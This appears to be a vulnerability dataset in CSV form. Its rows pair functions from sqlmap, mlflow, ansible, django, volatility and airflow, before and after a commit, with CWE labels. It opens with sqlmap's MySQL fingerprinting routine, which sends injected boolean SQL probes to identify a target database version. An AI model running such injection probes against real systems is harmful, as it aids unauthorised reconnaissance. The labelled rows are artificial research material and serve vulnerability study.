            if inject.checkBooleanExpression(""ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))""):
                kb.data.has_information_schema = True
                Backend.setVersion("">= 5.0.0"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = ""actively fingerprinting %s"" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression(""TO_SECONDS(950501)>0""):
                    Backend.setVersion("">= 5.5.0"")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(""@@table_open_cache=@@table_open_cache""):
                    if inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.12"", ""< 5.5.0""])
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.7"", ""< 5.1.12""])
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)""):
                        Backend.setVersion(""= 5.1.6"")
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.5"", ""< 5.1.6""])
                    else:
                        Backend.setVersionList(["">= 5.1.2"", ""< 5.1.5""])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression(""@@hostname=@@hostname""):
                    Backend.setVersionList(["">= 5.0.38"", ""< 5.1.2""])
                elif inject.checkBooleanExpression(""@@character_set_filesystem=@@character_set_filesystem""):
                    Backend.setVersionList(["">= 5.0.19"", ""< 5.0.38""])
                elif not inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])""):
                    Backend.setVersionList(["">= 5.0.11"", ""< 5.0.19""])
                elif inject.checkBooleanExpression(""@@div_precision_increment=@@div_precision_increment""):
                    Backend.setVersionList(["">= 5.0.6"", ""< 5.0.11""])
                elif inject.checkBooleanExpression(""@@automatic_sp_privileges=@@automatic_sp_privileges""):
                    Backend.setVersionList(["">= 5.0.3"", ""< 5.0.6""])
                else:
                    Backend.setVersionList(["">= 5.0.0"", ""< 5.0.3""])

            elif inject.checkBooleanExpression(""DATABASE() LIKE SCHEMA()""):
                Backend.setVersion("">= 5.0.2"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression(""STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0""):
                Backend.setVersion(""< 5.0.0"")
                setDbms(""%s 4"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(""3=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.11"", ""< 5.0.0""])
                elif inject.checkBooleanExpression(""2=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.1"", ""< 4.1.11""])
                elif inject.checkBooleanExpression(""CURRENT_USER()=CURRENT_USER()""):
                    Backend.setVersionList(["">= 4.0.6"", ""< 4.1.1""])

                    if inject.checkBooleanExpression(""'utf8'=(SELECT CHARSET(CURRENT_USER()))""):
                        Backend.setVersion(""= 4.1.0"")
                    else:
                        Backend.setVersionList(["">= 4.0.6"", ""< 4.1.0""])
                else:
                    Backend.setVersionList(["">= 4.0.0"", ""< 4.0.6""])
            else:
                Backend.setVersion(""< 4.0.0"")
                setDbms(""%s 3"" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False",,sqlmapproject/sqlmap,5810c2b199c05d20098f14022f9fc8cf28ed50df,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or (conf.dbms or """").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace("">"", """")
            v = v.replace(""="", """")
            v = v.replace("" "", """")

            Backend.setVersion(v)

            setDbms(""%s %s"" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""5""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""QUARTER(NULL) IS NULL"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""SESSION_USER() LIKE USER()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression(""@@USERSTAT LIKE @@USERSTAT"") and ""MariaDB"" or """")

            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

            # Determine if it is MySQL >= 5.0.0
            if inject.checkBooleanExpression(""ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))""):
                kb.data.has_information_schema = True
                Backend.setVersion("">= 5.0.0"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = ""actively fingerprinting %s"" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression(""TO_SECONDS(950501)>0""):
                    Backend.setVersion("">= 5.5.0"")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(""@@table_open_cache=@@table_open_cache""):
                    if inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.12"", ""< 5.5.0""])
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.7"", ""< 5.1.12""])
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)""):
                        Backend.setVersion(""= 5.1.6"")
                    elif inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)""):
                        Backend.setVersionList(["">= 5.1.5"", ""< 5.1.6""])
                    else:
                        Backend.setVersionList(["">= 5.1.2"", ""< 5.1.5""])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression(""@@hostname=@@hostname""):
                    Backend.setVersionList(["">= 5.0.38"", ""< 5.1.2""])
                elif inject.checkBooleanExpression(""@@character_set_filesystem=@@character_set_filesystem""):
                    Backend.setVersionList(["">= 5.0.19"", ""< 5.0.38""])
                elif not inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])""):
                    Backend.setVersionList(["">= 5.0.11"", ""< 5.0.19""])
                elif inject.checkBooleanExpression(""@@div_precision_increment=@@div_precision_increment""):
                    Backend.setVersionList(["">= 5.0.6"", ""< 5.0.11""])
                elif inject.checkBooleanExpression(""@@automatic_sp_privileges=@@automatic_sp_privileges""):
                    Backend.setVersionList(["">= 5.0.3"", ""< 5.0.6""])
                else:
                    Backend.setVersionList(["">= 5.0.0"", ""< 5.0.3""])

            elif inject.checkBooleanExpression(""DATABASE() LIKE SCHEMA()""):
                Backend.setVersion("">= 5.0.2"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression(""STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0""):
                Backend.setVersion(""< 5.0.0"")
                setDbms(""%s 4"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(""3=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.11"", ""< 5.0.0""])
                elif inject.checkBooleanExpression(""2=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.1"", ""< 4.1.11""])
                elif inject.checkBooleanExpression(""CURRENT_USER()=CURRENT_USER()""):
                    Backend.setVersionList(["">= 4.0.6"", ""< 4.1.1""])

                    if inject.checkBooleanExpression(""'utf8'=(SELECT CHARSET(CURRENT_USER()))""):
                        Backend.setVersion(""= 4.1.0"")
                    else:
                        Backend.setVersionList(["">= 4.0.6"", ""< 4.1.0""])
                else:
                    Backend.setVersionList(["">= 4.0.0"", ""< 4.0.6""])
            else:
                Backend.setVersion(""< 4.0.0"")
                setDbms(""%s 3"" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/transformers/__init__.py,0,"def _load_model(path: str, flavor_config, return_type: str, device=None, **kwargs):
    """"""
    Loads components from a locally serialized ``Pipeline`` object.
    """"""
    import transformers

    conf = {
        ""task"": flavor_config[FlavorKey.TASK],
    }
    if framework := flavor_config.get(FlavorKey.FRAMEWORK):
        conf[""framework""] = framework

    if device is None:
        if MLFLOW_DEFAULT_PREDICTION_DEVICE.get():
            try:
                device = int(MLFLOW_DEFAULT_PREDICTION_DEVICE.get())
            except ValueError:
                device = _TRANSFORMERS_DEFAULT_CPU_DEVICE_ID
        elif is_gpu_available():
            device = _TRANSFORMERS_DEFAULT_GPU_DEVICE_ID
    # Note that we don't set the device in the conf yet because device is
    # incompatible with device_map.
    accelerate_model_conf = {}
    if MLFLOW_HUGGINGFACE_USE_DEVICE_MAP.get():
        device_map_strategy = MLFLOW_HUGGINGFACE_DEVICE_MAP_STRATEGY.get()
        conf[""device_map""] = device_map_strategy
        accelerate_model_conf[""device_map""] = device_map_strategy
        # Cannot use device with device_map
        device = None

    if device is not None:
        conf[""device""] = device
        accelerate_model_conf[""device""] = device

    if dtype_val := kwargs.get(_TORCH_DTYPE_KEY) or flavor_config.get(FlavorKey.TORCH_DTYPE):
        if isinstance(dtype_val, str):
            dtype_val = _deserialize_torch_dtype(dtype_val)
        conf[_TORCH_DTYPE_KEY] = dtype_val
        flavor_config[_TORCH_DTYPE_KEY] = dtype_val
        accelerate_model_conf[_TORCH_DTYPE_KEY] = dtype_val

    accelerate_model_conf[""low_cpu_mem_usage""] = MLFLOW_HUGGINGFACE_USE_LOW_CPU_MEM_USAGE.get()

    # Load model and components either from local or from HuggingFace Hub. We check for the
    # presence of the model revision (a commit hash of the hub repository) that is only present
    # in the model logged with `save_pretrained=False
    if FlavorKey.MODEL_REVISION not in flavor_config:
        model_and_components = load_model_and_components_from_local(
            path=pathlib.Path(path),
            flavor_conf=flavor_config,
            accelerate_conf=accelerate_model_conf,
            device=device,
        )
    else:
        model_and_components = load_model_and_components_from_huggingface_hub(
            flavor_conf=flavor_config, accelerate_conf=accelerate_model_conf, device=device
        )

    # Load and apply PEFT adaptor if saved
    if peft_adapter_dir := flavor_config.get(FlavorKey.PEFT, None):
        model_and_components[FlavorKey.MODEL] = get_model_with_peft_adapter(
            base_model=model_and_components[FlavorKey.MODEL],
            peft_adapter_path=os.path.join(path, peft_adapter_dir),
        )

    conf = {**conf, **model_and_components}

    if return_type == ""pipeline"":
        conf.update(**kwargs)
        with suppress_logs(""transformers.pipelines.base"", filter_regex=_PEFT_PIPELINE_ERROR_MSG):
            return transformers.pipeline(**conf)
    elif return_type == ""components"":
        return conf",,mlflow/mlflow,830940a91065a982ff8e25343f70604dfcff4361,"def _load_model(path: str, flavor_config, return_type: str, device=None, **kwargs):
    """"""
    Loads components from a locally serialized ``Pipeline`` object.
    """"""
    import transformers

    conf = {
        ""task"": flavor_config[FlavorKey.TASK],
    }
    if framework := flavor_config.get(FlavorKey.FRAMEWORK):
        conf[""framework""] = framework

    if device is None:
        if MLFLOW_DEFAULT_PREDICTION_DEVICE.get():
            try:
                device = int(MLFLOW_DEFAULT_PREDICTION_DEVICE.get())
            except ValueError:
                device = _TRANSFORMERS_DEFAULT_CPU_DEVICE_ID
        elif is_gpu_available():
            device = _TRANSFORMERS_DEFAULT_GPU_DEVICE_ID
    # Note that we don't set the device in the conf yet because device is
    # incompatible with device_map.
    accelerate_model_conf = {}
    if MLFLOW_HUGGINGFACE_USE_DEVICE_MAP.get():
        device_map_strategy = MLFLOW_HUGGINGFACE_DEVICE_MAP_STRATEGY.get()
        conf[""device_map""] = device_map_strategy
        accelerate_model_conf[""device_map""] = device_map_strategy
        # Cannot use device with device_map
        device = None

    if device is not None:
        conf[""device""] = device
        accelerate_model_conf[""device""] = device

    if dtype_val := kwargs.get(_TORCH_DTYPE_KEY) or flavor_config.get(FlavorKey.TORCH_DTYPE):
        if isinstance(dtype_val, str):
            dtype_val = _deserialize_torch_dtype(dtype_val)
        conf[_TORCH_DTYPE_KEY] = dtype_val
        accelerate_model_conf[_TORCH_DTYPE_KEY] = dtype_val

    accelerate_model_conf[""low_cpu_mem_usage""] = MLFLOW_HUGGINGFACE_USE_LOW_CPU_MEM_USAGE.get()

    # Load model and components either from local or from HuggingFace Hub. We check for the
    # presence of the model revision (a commit hash of the hub repository) that is only present
    # in the model logged with `save_pretrained=False
    if FlavorKey.MODEL_REVISION not in flavor_config:
        model_and_components = load_model_and_components_from_local(
            path=pathlib.Path(path),
            flavor_conf=flavor_config,
            accelerate_conf=accelerate_model_conf,
            device=device,
        )
    else:
        model_and_components = load_model_and_components_from_huggingface_hub(
            flavor_conf=flavor_config, accelerate_conf=accelerate_model_conf, device=device
        )

    # Load and apply PEFT adaptor if saved
    if peft_adapter_dir := flavor_config.get(FlavorKey.PEFT, None):
        model_and_components[FlavorKey.MODEL] = get_model_with_peft_adapter(
            base_model=model_and_components[FlavorKey.MODEL],
            peft_adapter_path=os.path.join(path, peft_adapter_dir),
        )

    conf = {**conf, **model_and_components}

    if return_type == ""pipeline"":
        conf.update(**kwargs)
        with suppress_logs(""transformers.pipelines.base"", filter_regex=_PEFT_PIPELINE_ERROR_MSG):
            return transformers.pipeline(**conf)
    elif return_type == ""components"":
        return conf"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/_internal/_templating/_datatag.py,0,"def _notify(self, o: t.Any) -> None:
        deprecated = Deprecated.get_required_tag(o)
        deprecated_key = id(deprecated)

        if deprecated_key in self._tripped_deprecation_info:
            return  # record only the first access for each deprecated tag in a given context

        template_ctx = TemplateContext.current(optional=True)
        template = template_ctx.template_value if template_ctx else None

        # when the current template input is a container, provide a descriptive string with origin propagated (if possible)
        if not isinstance(template, str):
            # DTFIX-FUTURE: ascend the template stack to try and find the nearest string source template
            origin = Origin.get_tag(template)

            # DTFIX-FUTURE: this should probably use a synthesized description value on the tag
            #              it is reachable from the data_tagging_controller test: ../playbook_output_validator/filter.py actual_stdout.txt actual_stderr.txt
            # -[DEPRECATION WARNING]: `something_old` is deprecated, don't use it! This feature will be removed in version 1.2.3.
            # +[DEPRECATION WARNING]: While processing '<<container>>': `something_old` is deprecated, don't use it! This feature will be removed in ...
            template = '<<container>>'

            if origin:
                origin.tag(template)

        self._tripped_deprecation_info[deprecated_key] = _TrippedDeprecationInfo(
            template=template,
            deprecated=deprecated,
        )",,ansible/ansible,f5a85493c144f0d0392fa0635017562402fd9426,"def _notify(self, o: t.Any) -> None:
        deprecated = Deprecated.get_required_tag(o)
        deprecated_key = id(deprecated)

        if deprecated_key in self._tripped_deprecation_info:
            return  # record only the first access for each deprecated tag in a given context

        template_ctx = TemplateContext.current(optional=True)
        template = template_ctx.template_value if template_ctx else None

        # when the current template input is a container, provide a descriptive string with origin propagated (if possible)
        if not isinstance(template, str):
            # DTFIX-FUTURE: ascend the template stack to try and find the nearest string source template
            origin = Origin.get_tag(template)

            # DTFIX-RELEASE: this should probably use a synthesized description value on the tag
            #              it is reachable from the data_tagging_controller test: ../playbook_output_validator/filter.py actual_stdout.txt actual_stderr.txt
            # -[DEPRECATION WARNING]: `something_old` is deprecated, don't use it! This feature will be removed in version 1.2.3.
            # +[DEPRECATION WARNING]: While processing '<<container>>': `something_old` is deprecated, don't use it! This feature will be removed in ...
            template = '<<container>>'

            if origin:
                origin.tag(template)

        self._tripped_deprecation_info[deprecated_key] = _TrippedDeprecationInfo(
            template=template,
            deprecated=deprecated,
        )"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, connector=AND, allow_joins=True):
        """"""
        Builds a WhereNode for a single filter clause, but doesn't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_netageted and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        if isinstance(filter_expr, dict):
            raise FieldError(""Cannot parse keyword query as dict"")
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_aggregate = self.solve_lookup_type(arg)
        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        # Work out the lookup type and remove it from the end of 'parts',
        # if necessary.
        value, lookups, used_joins = self.prepare_lookup_value(value, lookups, can_reuse, allow_joins)

        clause = self.where_class()
        if reffed_aggregate:
            condition = self.build_lookup(lookups, reffed_aggregate, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated

        try:
            field, sources, opts, join_list, path = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many)

            self.check_related_objects(field, value, opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_list
        except MultiJoin as e:
            return self.split_exclude(filter_expr, LOOKUP_SEP.join(parts[:e.level]),
                                      can_reuse, e.names_with_path)

        if can_reuse is not None:
            can_reuse.update(join_list)
        used_joins = set(used_joins).union(set(join_list))
        targets, alias, join_list = self.trim_joins(sources, join_list, path)

        if field.is_relation:
            # No support for transforms for relational fields
            assert len(lookups) == 1
            lookup_class = field.get_lookup(lookups[0])
            if len(targets) == 1:
                lhs = targets[0].get_col(alias, field)
            else:
                lhs = MultiColSource(alias, targets, sources, field)
            condition = lookup_class(lhs, value)
            lookup_type = lookup_class.lookup_name
        else:
            col = targets[0].get_col(alias, field)
            condition = self.build_lookup(lookups, col, value)
            lookup_type = condition.lookup_name

        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and value is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or value is False):
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                clause.add(lookup_class(targets[0].get_col(alias, sources[0]), False), AND)
        return clause, used_joins if not require_outer else ()",CWE-703,django/django,99d40c6f658ead97f67d331eed9278805c8a4007,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, connector=AND, allow_joins=True):
        """"""
        Builds a WhereNode for a single filter clause, but doesn't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_netageted and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_aggregate = self.solve_lookup_type(arg)
        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        # Work out the lookup type and remove it from the end of 'parts',
        # if necessary.
        value, lookups, used_joins = self.prepare_lookup_value(value, lookups, can_reuse, allow_joins)

        clause = self.where_class()
        if reffed_aggregate:
            condition = self.build_lookup(lookups, reffed_aggregate, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated

        try:
            field, sources, opts, join_list, path = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many)

            self.check_related_objects(field, value, opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_list
        except MultiJoin as e:
            return self.split_exclude(filter_expr, LOOKUP_SEP.join(parts[:e.level]),
                                      can_reuse, e.names_with_path)

        if can_reuse is not None:
            can_reuse.update(join_list)
        used_joins = set(used_joins).union(set(join_list))
        targets, alias, join_list = self.trim_joins(sources, join_list, path)

        if field.is_relation:
            # No support for transforms for relational fields
            assert len(lookups) == 1
            lookup_class = field.get_lookup(lookups[0])
            if len(targets) == 1:
                lhs = targets[0].get_col(alias, field)
            else:
                lhs = MultiColSource(alias, targets, sources, field)
            condition = lookup_class(lhs, value)
            lookup_type = lookup_class.lookup_name
        else:
            col = targets[0].get_col(alias, field)
            condition = self.build_lookup(lookups, col, value)
            lookup_type = condition.lookup_name

        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and value is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or value is False):
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                clause.add(lookup_class(targets[0].get_col(alias, sources[0]), False), AND)
        return clause, used_joins if not require_outer else ()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_appsvcs_extension.py,0,"def exists(self):
        declaration = {}
        if self.want.content is None:
            raise F5ModuleError(
                ""Empty content cannot be specified when 'state' is 'present'.""
            )
        try:
            declaration.update(self.want.content)
        except ValueError:
            raise F5ModuleError(
                ""The provided 'content' could not be converted into valid json. If you ""
                ""are using the 'to_nice_json' filter, please remove it.""
            )
        declaration['action'] = 'dry-run'

        # This deals with cases where you're comparing a passphrase.
        #
        # Passphrases will always cause an idempotent operation to register
        # a change. Therefore, by specifying ""force"", you are instructing
        # the module to **not** ignore the passphrase.
        #
        # This will cause the module to not append ignore clauses to the
        # classes that support them.
        if not self.want.force:
            self.ignore_changes(declaration)

        uri = ""https://{0}:{1}/mgmt/shared/appsvcs/declare/"".format(
            self.client.provider['server'],
            self.client.provider['server_port'],
        )
        resp = self.client.api.post(uri, json=declaration)
        try:
            response = resp.json()
        except ValueError:
            return False
        try:
            if response['results'][0]['message'] == 'no change':
                return True
        except KeyError:
            return False",,ansible/ansible,f11429a80db74a87f28473623889527c1d93964e,"def exists(self):
        declaration = {}
        if self.want.content is None:
            raise F5ModuleError(
                ""Empty content cannot be specified when 'state' is 'present'.""
            )
        try:
            declaration.update(self.want.content)
        except ValueError:
            raise F5ModuleError(
                ""The provided 'content' could not be converted into valid json. If you ""
                ""are using the 'to_nice_json' filter, please remove it.""
            )
        declaration['action'] = 'dry-run'

        # This deals with cases where you're comparing a passphrase.
        #
        # Passphrases will always cause an idepotent operation to register
        # a change. Therefore, by specifying ""force"", you are instructing
        # the module to **not** ignore the passphrase.
        #
        # This will cause the module to not append ignore clauses to the
        # classes that support them.
        if not self.want.force:
            self.ignore_changes(declaration)

        uri = ""https://{0}:{1}/mgmt/shared/appsvcs/declare/"".format(
            self.client.provider['server'],
            self.client.provider['server_port'],
        )
        resp = self.client.api.post(uri, json=declaration)
        try:
            response = resp.json()
        except ValueError:
            return False
        try:
            if response['results'][0]['message'] == 'no change':
                return True
        except KeyError:
            return False"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/netstat.py,0,"def render_text(self, outfd, data):
        for i, fd in data:
            if str(fd.f_fglob.fg_type) == 'DTYPE_SOCKET':
                socket = fd.f_fglob.fg_data.dereference_as(""socket"") 
                family = socket.so_proto.pr_domain.dom_family
    
                (lip, lport, rip, rport) = ("""", """", """", """")

                if family == 1:
                    upcb = socket.so_pcb.dereference_as(""unpcb"")
                    path = upcb.unp_addr.sun_path
                    outfd.write(""UNIX {0}\n"".format(path))
                elif family in [2, 30]:
                    ipcb = socket.so_pcb.dereference_as(""inpcb"")
                    (proto, state) = self.get_proto(socket.so_proto.pr_protocol)
                    if family == 2:
                        (lip, lport, rip, rport) = self.parse_ipv4(socket, ipcb, proto)
                        outfd.write(""{0} {1}:{2} {3}:{4} {5}\n"".format(proto, lip, lport, rip, rport, state))
                    else:
                        (lip, lport, rip, rport) = self.parse_ipv6(socket, ipcb, proto) 
                        outfd.write(""{0} {1}:{2} {3}:{4} {5}\n"".format(proto, lip, lport, rip, rport, state))",,volatilityfoundation/volatility,24813ca4038199a560947a00ffa74a3c506b65b0,"def render_text(self, outfd, data):
        for i, fd in data:
            if str(fd.f_fglob.fg_type) == 'DTYPE_SOCKET':
                socket = fd.f_fglob.fg_data.dereference_as(""socket"") 
                family = socket.so_proto.pr_domain.dom_family
    
                (lip, lport, rip, rport) = ("""", """", """", """")

                if family == 1:
                    upcb = socket.so_pcb.dereference_as(""unpcb"")
                    path = upcb.unp_addr.sun_path
                    outfd.write(""UNIX {0}\n"".format(path))
                elif family in [2, 30]:
                    ipcb = socket.so_pcb.dereference_as(""inpcb"")
                    (proto, state) = self.get_proto(socket.so_proto.pr_protocol)
                    if family == 2:
                        (lip, lport, rip, rport) = self.parse_ipv4(socket, ipcb, proto)
                        outfd.write(""{0} {1}:{2} {3}:{4} {5}"".format(proto, lip, lport, rip, rport, state))
                    else:
                        (lip, lport, rip, rport) = self.parse_ipv6(socket, ipcb, proto) 
                        outfd.write(""{0} {1}:{2} {3}:{4} {5}"".format(proto, lip, lport, rip, rport, state))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/models/test_dag.py,0,"def test_normalized_schedule_interval(
        self, schedule_interval, expected_n_schedule_interval
    ):
        dag = DAG(""test_schedule_interval"", schedule_interval=schedule_interval)

        self.assertEqual(dag.normalized_schedule_interval, expected_n_schedule_interval)
        self.assertEqual(dag.schedule_interval, schedule_interval)",CWE-Unknown,apache/airflow,e945439abead0daf4cf6f8065069e6549c7e5205,"def test_normalized_schedule_interval(
        self, schedule_interval, expected_n_schedule_interval
    ):
        dag = DAG(""test_schedule_interval"", schedule_interval=schedule_interval)

        self.assertEqual(dag.normalized_schedule_interval, expected_n_schedule_interval)
        self.assertEqual(dag.schedule_interval, schedule_interval)"
,UNKNOWN,UNKNOWN,tests/dags/test_on_kill.py,1,"def execute(self, context):
        import os

        self.log.info(""Signalling that I am running"")
        # signal to the test that we've started
        with open(""/tmp/airflow_on_kill_running"", ""w"") as f:
            f.write(""ON_KILL_RUNNING"")
        self.log.info(""Signalled"")

        # This runs extra processes, so that we can be sure that we correctly
        # tidy up all processes launched by a task when killing
        if not os.fork():
            os.system('sleep 10')
        time.sleep(10)",CWE-78,apache/airflow,20ac7c196e9e8ba420fd89ce23c02c6ab6bdb491,"def execute(self, context):
        import os

        # This runs extra processes, so that we can be sure that we correctly
        # tidy up all processes launched by a task when killing
        if not os.fork():
            os.system('sleep 10')
        time.sleep(10)"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_prepopulated_fields(self):
        """"""
        Ensure that the JavaScript-automated prepopulated fields work with the
        main form and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
